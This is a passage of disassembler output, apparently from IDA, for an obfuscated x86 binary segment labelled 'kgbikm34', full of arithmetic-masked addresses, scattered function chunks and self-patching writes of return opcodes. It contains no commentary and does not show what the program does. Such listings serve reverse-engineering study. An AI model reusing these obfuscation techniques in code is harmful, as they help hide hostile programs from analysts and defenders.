		call	sub_43BF6F
		mov	ds:dword_41E1B8, eax
		lea	eax, nullsub_308
		call	sub_43AF2C

loc_43D19A:				; CODE XREF: kgbikm34:00447A10j
		jmp	sub_43BF6F
; ---------------------------------------------------------------------------

loc_43D19F:				; CODE XREF: kgbikm34:0043D5D0j
		jmp	loc_43B8C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A23B

loc_43D1A4:				; CODE XREF: sub_43A23B+Ej
		jmp	sub_4396AA
; END OF FUNCTION CHUNK	FOR sub_43A23B
; ---------------------------------------------------------------------------

loc_43D1A9:				; CODE XREF: kgbikm34:00438602j
		add	ecx, ebx

; =============== S U B	R O U T	I N E =======================================



sub_43D1AB	proc near		; CODE XREF: kgbikm34:00441AD8p

; FUNCTION CHUNK AT 0043A7E2 SIZE 00000033 BYTES

		xchg	esi, [esp+0]
		pop	esi
		call	sub_44661D
		push	80DED034h
		pop	eax
		jmp	loc_43A7E2
sub_43D1AB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sbb	edi, ecx
		jmp	loc_442174
; ---------------------------------------------------------------------------
		jno	loc_438585
		or	ecx, 9197F369h
		jmp	sub_440D09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B0B7

loc_43D1D7:				; CODE XREF: kgbikm34:0044270Fj
					; sub_43B0B7:loc_44B929j
		test	ebx, esi
		jmp	loc_441EB8
; END OF FUNCTION CHUNK	FOR sub_43B0B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4C9

loc_43D1DE:				; CODE XREF: sub_43F4C9+6D62j
		add	eax, 0B5DDBA69h
		mov	eax, [eax]
		call	sub_43F4C9
; END OF FUNCTION CHUNK	FOR sub_43F4C9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_93. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4446F8

loc_43D1EC:				; CODE XREF: sub_4446F8+1Bj
		jmp	loc_444DCD
; END OF FUNCTION CHUNK	FOR sub_4446F8
; ---------------------------------------------------------------------------
		push	0DF1470FEh
		cdq
		jmp	sub_4416CA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_168. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EAEE

loc_43D1FD:				; CODE XREF: sub_43EAEE-310Bj
		jmp	loc_43B5C9
; END OF FUNCTION CHUNK	FOR sub_43EAEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4416CA

loc_43D202:				; CODE XREF: sub_4416CA+95C6j
		mov	byte ptr [eax],	0C3h
		jmp	loc_44B9D4
; END OF FUNCTION CHUNK	FOR sub_4416CA

; =============== S U B	R O U T	I N E =======================================



sub_43D20A	proc near		; CODE XREF: sub_403186+2CBp
					; sub_416F7E+40p ...
		call	sub_43D21A
		jmp	ds:off_41E074
sub_43D20A	endp

; ---------------------------------------------------------------------------

loc_43D215:				; CODE XREF: kgbikm34:00449085j
		jmp	loc_44A4B7

; =============== S U B	R O U T	I N E =======================================



sub_43D21A	proc near		; CODE XREF: sub_437429:loc_437443j
					; sub_43D20Ap ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00438DB5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00440377 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445D0B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00446C74 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BECD SIZE 00000005 BYTES

		jb	loc_445D0B
		xchg	eax, [esp+0]
		jmp	loc_446C74
sub_43D21A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A4A3

loc_43D228:				; CODE XREF: sub_43A4A3:loc_43E0F1j
		sub	ecx, 0C52FAE60h
		call	sub_444681

loc_43D233:				; CODE XREF: sub_449D59-8169j
		jmp	loc_44117F
; END OF FUNCTION CHUNK	FOR sub_43A4A3
; ---------------------------------------------------------------------------
		sbb	ecx, 30E60063h
		push	edx
		jmp	sub_44C347
; ---------------------------------------------------------------------------
		mov	ds:off_41E084, eax
		lea	eax, sub_438978
		mov	byte ptr [eax],	0C3h
		jmp	sub_438978
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438978

loc_43D258:				; CODE XREF: sub_438978j
		xchg	edi, [esp+0]
		mov	edx, edi
		pop	edi
		mov	eax, [esp-4+arg_0]
		jmp	loc_4412F6
; END OF FUNCTION CHUNK	FOR sub_438978
; ---------------------------------------------------------------------------

loc_43D266:				; CODE XREF: kgbikm34:0043D004j
		mov	[edx], edi

loc_43D268:				; CODE XREF: kgbikm34:loc_43CFF6j
		or	esi, 1C933251h
		xor	esi, 0BF69750h
		sub	esi, 0B54C1B38h
		xor	esi, 5ED66C9Ah
		add	esi, ebp
		push	ecx
		push	5B560B07h
		jmp	loc_443EFF
; ---------------------------------------------------------------------------

loc_43D28D:				; CODE XREF: kgbikm34:004466C3j
		jz	loc_43B91A
		jmp	loc_438F67

; =============== S U B	R O U T	I N E =======================================



sub_43D298	proc near		; CODE XREF: kgbikm34:00445488p
					; kgbikm34:0044A216j
		xchg	edi, [esp+0]

loc_43D29B:				; CODE XREF: kgbikm34:loc_44D27Cj
		pop	edi
		call	sub_43BF6F
		mov	ds:off_41E154, eax
		push	offset sub_44BB77
		jmp	loc_44C7D5
sub_43D298	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	edi, [esi]
		ror	ebx, 7
		jmp	sub_44DA3B
; ---------------------------------------------------------------------------

locret_43D2BB:				; CODE XREF: kgbikm34:loc_444E6Fj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B68D

loc_43D2BC:				; CODE XREF: sub_44B68D+1j
		jmp	loc_44A532
; END OF FUNCTION CHUNK	FOR sub_44B68D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4440CD

loc_43D2C1:				; CODE XREF: sub_4440CD+6DF1j
		jmp	loc_444AE2
; END OF FUNCTION CHUNK	FOR sub_4440CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4466A3

loc_43D2C6:				; CODE XREF: sub_4466A3-556Ej
		jmp	loc_44B5B6
; END OF FUNCTION CHUNK	FOR sub_4466A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44ADC2

loc_43D2CB:				; CODE XREF: sub_44ADC2+11j
		mov	edi, eax
		xchg	edi, [esp-4+arg_0]
		push	eax
		push	9D1FCFCFh
		pop	eax
		rol	eax, 1Ch
		sub	eax, 0E4CCDE92h
		jmp	loc_4401BA
; END OF FUNCTION CHUNK	FOR sub_44ADC2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_43. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43D2E6:				; CODE XREF: kgbikm34:0044330Cj
		jmp	sub_443DF0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447B31

loc_43D2EB:				; CODE XREF: sub_447B31:loc_446A44j
		pop	eax
		rol	edx, 1
		and	edx, 0A28AB447h
		xor	edx, 405DEA17h
		add	edx, ebp
		add	edx, 9DA8A1ABh
		mov	edx, [edx]
		jmp	loc_44DD0D
; END OF FUNCTION CHUNK	FOR sub_447B31
; ---------------------------------------------------------------------------
		mov	edx, edi
		pop	edi
		mov	eax, [esp]
		push	ebp
		jmp	loc_4479C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A1F9

loc_43D315:				; CODE XREF: sub_44A1F9:loc_44620Fj
		popf
		jmp	loc_445C72
; END OF FUNCTION CHUNK	FOR sub_44A1F9
; ---------------------------------------------------------------------------

loc_43D31B:				; CODE XREF: kgbikm34:0044170Cj
		call	sub_43BF6F
		push	edx

loc_43D321:				; CODE XREF: kgbikm34:0043852Fj
		push	2355361Dh
		pop	edx
		sub	edx, 0E2E77D8Ch
		rol	edx, 16h
		add	edx, 0DBF1C56Ah
; START	OF FUNCTION CHUNK FOR sub_44114F

loc_43D336:				; CODE XREF: sub_44114F+257Ej
		mov	[edx], eax
		jmp	loc_448FA8
; END OF FUNCTION CHUNK	FOR sub_44114F

; =============== S U B	R O U T	I N E =======================================



sub_43D33D	proc near		; DATA XREF: sub_44ADC2-AC02o

; FUNCTION CHUNK AT 0043A8D2 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		jmp	loc_43A8D2
sub_43D33D	endp


; =============== S U B	R O U T	I N E =======================================



sub_43D345	proc near		; DATA XREF: kgbikm34:00440D2Co

; FUNCTION CHUNK AT 00445F6C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446D23 SIZE 00000010 BYTES

		push	3605C9DFh
		pop	edi
		or	edi, 0ADF042D0h
		xor	edi, 80B8930Eh
		and	edi, 0CDC599D9h
		jmp	loc_445F6C
sub_43D345	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E0B

loc_43D362:				; CODE XREF: sub_440E0B-32E2j
		jge	loc_449325
		sbb	ebp, 7B7B320Dh
		jmp	loc_43B659
; END OF FUNCTION CHUNK	FOR sub_440E0B

; =============== S U B	R O U T	I N E =======================================



sub_43D373	proc near		; DATA XREF: kgbikm34:00439B72o

; FUNCTION CHUNK AT 0044334B SIZE 00000005 BYTES

		push	edx

loc_43D374:				; CODE XREF: kgbikm34:00447C45j
		push	offset sub_43ACA5
		jmp	loc_44334B
sub_43D373	endp

; ---------------------------------------------------------------------------
		cmp	esi, 939E6B68h
		jmp	loc_43EBC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4478CD

loc_43D389:				; CODE XREF: sub_4478CD+516Bj
		cmp	edi, 841C8B0h
		jmp	loc_44833B
; END OF FUNCTION CHUNK	FOR sub_4478CD
; ---------------------------------------------------------------------------
		dd 0F4718A0Fh, 0F8130000h, 6EAFE9h
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_45. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A108

loc_43D3A2:				; CODE XREF: sub_43A108+10F50j
		jmp	nullsub_160
; END OF FUNCTION CHUNK	FOR sub_43A108
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FE66

loc_43D3A7:				; CODE XREF: sub_43FE66-884j
		jmp	nullsub_19
; END OF FUNCTION CHUNK	FOR sub_43FE66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E0B

loc_43D3AC:				; CODE XREF: sub_440E0B+4536j
		rol	ecx, 0Bh
		and	edx, 2F64D344h

loc_43D3B5:				; CODE XREF: sub_440E0B:loc_44AC4Aj
		push	eax
		lea	eax, loc_43C434
		push	eax
		call	sub_4429A6

loc_43D3C2:				; CODE XREF: kgbikm34:0043A779j
		jmp	loc_442646
; END OF FUNCTION CHUNK	FOR sub_440E0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443681

loc_43D3C7:				; CODE XREF: sub_443681:loc_44018Dj
		pop	ecx
		sub	ecx, 0B9BA1DAFh
		add	ecx, 0F5E183C3h
		xchg	ecx, [esp+4+var_4]
		jmp	loc_44C338
; END OF FUNCTION CHUNK	FOR sub_443681
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444296

loc_43D3DC:				; CODE XREF: sub_444296:loc_448B2Aj
		push	offset sub_439003

loc_43D3E1:				; CODE XREF: sub_43E5AF:loc_4497F3j
		jmp	loc_44687A
; END OF FUNCTION CHUNK	FOR sub_444296

; =============== S U B	R O U T	I N E =======================================



sub_43D3E6	proc near		; DATA XREF: sub_441711:loc_44AECBo

; FUNCTION CHUNK AT 004426C6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B23E SIZE 0000000A BYTES

		call	sub_44A9D8
		mov	edx, 0B9726E5Ah
		call	sub_4487F2
		push	eax
		jmp	loc_4426C6
sub_43D3E6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B99

loc_43D3FB:				; CODE XREF: sub_438B99:loc_4374C7j
		pop	ebx
		call	sub_43D686

loc_43D401:				; CODE XREF: sub_43BCAD-4AA3j
					; sub_43BCAD:loc_442999j ...
		jmp	loc_447D20
; END OF FUNCTION CHUNK	FOR sub_438B99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCAD

loc_43D406:				; CODE XREF: kgbikm34:00449F1Fj
					; sub_43BCAD+117C7j
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_43BCAD

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D409	proc near		; CODE XREF: sub_439609+1DA4j
					; sub_446B3C:loc_43BD94j ...

; FUNCTION CHUNK AT 004430A6 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_4430A6
sub_43D409	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439609

loc_43D411:				; CODE XREF: sub_439609:loc_448AA4j
		sub	eax, 487047Bh
		jns	loc_43A6A4
		ror	eax, 4
		push	offset loc_44D238
		jmp	loc_43C162
; END OF FUNCTION CHUNK	FOR sub_439609
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_43D42A:				; CODE XREF: sub_449F77+1D9Cj
		cmp	eax, 66EE044Bh
		jmp	loc_447C19
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------
		push	esi
		push	0E06D742h
		pop	esi
		or	esi, 0FE39E468h
		jmp	loc_449113
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_43D447:				; CODE XREF: sub_439587:loc_437777j
		shl	ecx, 18h
		shr	edi, 1
		jmp	loc_438E71
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------
		adc	ebp, eax
		jmp	sub_439A2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_43D458:				; CODE XREF: sub_449F77-69E6j
		jno	loc_446ACD
		jbe	loc_44DFE3
		jmp	loc_449A2D
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4489C5

loc_43D469:				; CODE XREF: sub_4489C5:loc_44BA4Bj
					; DATA XREF: sub_43C55C+DD8Ao
		cmp	dword ptr [ebp-14h], 6
		setz	al
		call	sub_4396C0
		pop	ecx
; END OF FUNCTION CHUNK	FOR sub_4489C5
; START	OF FUNCTION CHUNK FOR sub_444E1C

loc_43D476:				; CODE XREF: sub_444E1C+Dj
		shl	eax, 3
		mov	edx, [ebp+8]
		jmp	loc_43C8FC
; END OF FUNCTION CHUNK	FOR sub_444E1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4441EB

loc_43D481:				; CODE XREF: sub_4441EB+9j
		push	esi
		pop	ebp
		pop	esi
		push	994CDF12h
		pop	eax
		rol	eax, 0Dh
		jmp	loc_446DF2
; END OF FUNCTION CHUNK	FOR sub_4441EB
; ---------------------------------------------------------------------------

loc_43D492:				; CODE XREF: kgbikm34:0044BB22j
		mov	edx, [ebx]

; =============== S U B	R O U T	I N E =======================================



sub_43D494	proc near		; CODE XREF: sub_43F5F7+5590p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 004371D3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00437890 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00438B20 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0043918D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004393BA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00439820 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A093 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043A297 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043A3B6 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043A5CD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043AB7C SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0043AC9B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043AE31 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C5B0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DA60 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DE29 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0043DF4F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043E77B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F32D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043F699 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043FB72 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043FCBF SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043FF11 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0044025C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044049F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004409B6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00440B54 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00441032 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004410AC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00441E61 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004438C4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044393B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044399D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00443A8A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00443BDE SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004447C5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004458B8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445913 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00445DCC SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044632B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00446830 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00446B66 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044768E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044866E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448D7D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00449054 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004497D5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A3C3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B077 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0044B32F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044BC80 SIZE 0000000B BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	ebx
		push	0BAF6499Fh

loc_43D49E:				; CODE XREF: kgbikm34:loc_4467B8j
		pop	ebx
		jmp	loc_443BDE
sub_43D494	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44368F

loc_43D4A4:				; CODE XREF: sub_44368F:loc_439990j
		jz	loc_4412D6
		jmp	loc_442B8A
; END OF FUNCTION CHUNK	FOR sub_44368F
; ---------------------------------------------------------------------------

loc_43D4AF:				; CODE XREF: kgbikm34:0043CB63j
		sub	ebp, ecx
		push	0C5A14EB1h
		xchg	ebx, [ebp+0]

loc_43D4B9:				; CODE XREF: kgbikm34:loc_43CB4Aj
		and	eax, 0A7BAC655h
		or	eax, 8F63B6E3h
		xor	eax, 60748BF6h
		push	offset loc_445969
		jmp	locret_44BF60

; =============== S U B	R O U T	I N E =======================================



sub_43D4D5	proc near		; CODE XREF: kgbikm34:0044D143j
					; sub_44D815p
		xchg	ecx, [esp+0]
		pop	ecx
		call	sub_43D4E9
		jmp	ds:off_41E09C
sub_43D4D5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCAD

loc_43D4E4:				; CODE XREF: sub_43BCAD+4EA2j
		jmp	nullsub_247
; END OF FUNCTION CHUNK	FOR sub_43BCAD

; =============== S U B	R O U T	I N E =======================================



sub_43D4E9	proc near		; CODE XREF: sub_43D4D5+4p
					; sub_43D4E9+957Fj ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043C1C4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043E975 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004414F3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004424D1 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 004426CB SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00446A4E SIZE 0000001F BYTES
; FUNCTION CHUNK AT 004484D2 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044D12D SIZE 00000005 BYTES

		jnz	loc_4484D2
		pop	edx
		jmp	loc_4424D1
sub_43D4E9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43D4F5	proc near		; CODE XREF: sub_43FE49j
					; DATA XREF: sub_440834-9F5o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043E0D6 SIZE 0000000E BYTES

		push	ebx
		push	23F78F32h
		pop	ebx
		xor	ebx, 0E4E1113h
		rol	ebx, 12h
		xor	ebx, 0D080AB79h
		jmp	loc_43E0D6
sub_43D4F5	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, edx
		push	offset sub_43EE05
		jmp	locret_44B9F0
; ---------------------------------------------------------------------------

loc_43D51D:				; CODE XREF: kgbikm34:00442DAAj
		add	edx, 8F48A949h
		mov	edx, [edx]
		mov	[edx], eax
; START	OF FUNCTION CHUNK FOR sub_444240

loc_43D527:				; CODE XREF: sub_444240+38BEj
		push	esi
		push	312D439Eh
		jmp	loc_43B0F5
; END OF FUNCTION CHUNK	FOR sub_444240
; ---------------------------------------------------------------------------

loc_43D532:				; DATA XREF: sub_44A7AF+Ao
		push	0FEECD834h
		pop	ecx
		and	ecx, 976C47E6h
		rol	ecx, 2
		jmp	loc_44BDB0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445993

loc_43D546:				; CODE XREF: kgbikm34:loc_4397F3j
					; sub_445993:loc_443998j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_445993
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A3D0

loc_43D548:				; CODE XREF: sub_43A3D0+13799j
		jmp	loc_439FB1
; END OF FUNCTION CHUNK	FOR sub_43A3D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44772C

loc_43D54D:				; CODE XREF: sub_44772C-1608j
		jmp	loc_44C27B
; END OF FUNCTION CHUNK	FOR sub_44772C
; ---------------------------------------------------------------------------

loc_43D552:				; CODE XREF: kgbikm34:004423FCj
					; kgbikm34:00442E97j
		jmp	loc_4398A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444BCC

loc_43D557:				; CODE XREF: sub_444BCC-10F7j
		rol	eax, 13h
		push	eax
		jmp	loc_446668
; END OF FUNCTION CHUNK	FOR sub_444BCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440841

loc_43D560:				; CODE XREF: sub_440841:loc_44B553j
		push	eax
		mov	eax, edx
		xchg	eax, [esp+4+var_4]
		push	ecx
		push	4EC92A81h
		pop	ecx
		rol	ecx, 1Fh
		jmp	loc_445802
; END OF FUNCTION CHUNK	FOR sub_440841
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_43D575:				; CODE XREF: sub_4474D5+1D94j
		pop	ecx
; END OF FUNCTION CHUNK	FOR sub_4474D5

; =============== S U B	R O U T	I N E =======================================



sub_43D576	proc near		; CODE XREF: kgbikm34:004485F4p
		xchg	ebx, [esp+0]
		pop	ebx
		mov	ebx, esi
		push	offset sub_443238
		jmp	loc_446A49
sub_43D576	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A2E

loc_43D586:				; CODE XREF: sub_439A2E:loc_43C417j
		xchg	eax, [esp-0Ch+arg_8]
		jmp	sub_44A9D8
; END OF FUNCTION CHUNK	FOR sub_439A2E
; ---------------------------------------------------------------------------
		mov	edx, 17B3C1CFh
		call	sub_4487F2
		push	eax
		ror	eax, 0Bh
		jmp	loc_43F285
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E20A

loc_43D5A1:				; CODE XREF: sub_44E20A+12j
		sub	ebx, 0A771F627h
		xor	ebx, 2C185B4Ah

loc_43D5AD:				; CODE XREF: kgbikm34:loc_44A288j
		add	ebx, 8BFD4F7Eh
		mov	[ebx], eax
		pop	ebx
		lea	eax, sub_446F45
		mov	byte ptr [eax],	0C3h
		jmp	sub_446F45
; END OF FUNCTION CHUNK	FOR sub_44E20A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F45

loc_43D5C4:				; CODE XREF: sub_446F45j
		pop	edx
		jmp	loc_44064A
; END OF FUNCTION CHUNK	FOR sub_446F45
; ---------------------------------------------------------------------------

loc_43D5CA:				; CODE XREF: kgbikm34:loc_440FB2j
		jnz	loc_4485A2
		jmp	loc_43D19F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44368F

loc_43D5D5:				; CODE XREF: sub_44368F-5F2Fj
		pop	ecx
		rol	ecx, 8
		add	ecx, 9E655B0Ah
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_449A51
; END OF FUNCTION CHUNK	FOR sub_44368F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4438B7

loc_43D5E7:				; CODE XREF: sub_4438B7:loc_4438BFj
		push	offset loc_44AC55
		jmp	loc_43B5C4
; END OF FUNCTION CHUNK	FOR sub_4438B7
; ---------------------------------------------------------------------------
		mov	ds:off_41E0A4, eax
		push	offset sub_43B4D4
		jmp	loc_4496E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439924

loc_43D601:				; CODE XREF: sub_439924:loc_44A027j
		mov	cl, [ebp-0Bh]
		xor	edx, edx
		mov	dl, [ebp-9]
		shr	edx, cl
		or	eax, edx
		mov	edx, [ebp-8]
		mov	[edx], al
		jmp	loc_449746
; END OF FUNCTION CHUNK	FOR sub_439924
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_39. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4437D8

loc_43D618:				; CODE XREF: sub_4437D8+21D0j
		jmp	nullsub_254
; END OF FUNCTION CHUNK	FOR sub_4437D8
; ---------------------------------------------------------------------------

loc_43D61D:				; DATA XREF: sub_4424F7+4F4Bo
		mov	eax, offset dword_43A8A4
		call	sub_4479B1
		push	86E579C7h
		pop	eax
		jmp	loc_44C18D

; =============== S U B	R O U T	I N E =======================================



sub_43D632	proc near		; CODE XREF: kgbikm34:004482DFj
					; sub_44DA77p

; FUNCTION CHUNK AT 00437914 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043C466 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F656 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442C95 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00448877 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044B113 SIZE 0000000B BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	ecx
		push	6884F2CFh
		pop	ecx
		jmp	loc_448877
sub_43D632	endp


; =============== S U B	R O U T	I N E =======================================



sub_43D642	proc near		; CODE XREF: kgbikm34:loc_43E309p
					; kgbikm34:004412A7j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00439A48 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043AEAF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043FB68 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004416F5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443796 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00449874 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044B43D SIZE 00000007 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_439A48
		jmp	loc_43FB68
sub_43D642	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	eax, 0D53D974Bh
		push	edx
		push	11645D3Bh
		pop	edx
		jmp	loc_449212
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B932

loc_43D668:				; CODE XREF: sub_43B932:loc_44159Bj
		pop	ebx
		or	eax, 1556914Ch
		add	eax, 0BE2CE294h
		sub	eax, 157CBD67h
		and	eax, 610C4965h
		jmp	loc_44E1D1
; END OF FUNCTION CHUNK	FOR sub_43B932

; =============== S U B	R O U T	I N E =======================================



sub_43D686	proc near		; CODE XREF: sub_438B99+4863p
					; kgbikm34:00449FD4j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043AB38 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004404B5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004431C6 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00443778 SIZE 00000008 BYTES
